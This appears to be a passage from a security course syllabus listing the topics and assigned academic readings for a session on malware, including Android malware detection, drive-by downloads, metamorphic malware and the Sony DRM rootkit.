- Detecting malware in the Android app store
- Lots of drive-by-download work
- Malware distribution networks: use enterprise-wide network traces to detect malware downloads
- Side-channel defenses: Measure, e.g., power consumption of benign vs. malicious code
- Metamorphic arms race

10/10 Malware

- Hunting For Metamorphic, Péter Ször, Peter Ferrie
- The Ghost In The Browser Analysis of Web-based Malware, Niels Provos, Dean McNamee, Panayiotis Mavrommatis, Ke Wang, Nagendra Modadugu
- Dissecting Android Malware: Characterization and Evolution, Yajin Zhou, Xuxian Jiang
- Hey, you, Get Off of My Market: Detecting Malicious Apps in Official and Alternative Android Markets, Yajin Zhou, Zhi Wang, Wu Zhou, Xuxian Jiang
- All Your iFrames Point to Us, Niels Provos, Panayiotis Mavrommatis, Moheeb Abu Rajab, Fabian Monrose
- Android Permissions Demystified, Adrienne Porter Felt, Erika Chin, Steve Hanna, Dawn Song, David Wagner
- Prudent Practices for Designing Malware Experiments: Status Quo and Outlook, Christian Rossow, Christian J. Dietrich, Chris Grier, Christian Kreibich, Vern Paxson, Norbert Pohlmann, Herbert Bos, Maarten van Steen
- Detection and Analysis of Drive-by-Download Attacks and Malicious JavaScript Code, Marco Cova, Christopher Kruegel, Giovanni Vigna
- Towards Automatic Generation of Vulnerability-Based Signatures, David Brumley, James Newsome, Dawn Song, Hao Wang, Somesh Jha
- Nazca: Detecting Malware Distribution in Large-Scale Networks, Luca Invernizzi, Stanislav Miskovic, Ruben Torres, Sabyasachi Saha, Sung-Ju Lee, Marco Mellia, Christopher Kruegel, Giovanni Vigna
- WattsUpDoc: Power Side Channels to Nonintrusively Discover Untargeted Malware on Embedded Medical Devices, Shane S. Clark, Benjamin Ransford, Amir Rahmati, Shane Guineau, Jacob Sorber, Kevin Fu, Wenyuan Xu
- Sony's DRM Rootkit: The Real Story, Bruce Schneier
- Lessons from the Sony CD DRM Episode, J. Alex Halderman, Edward W. Felten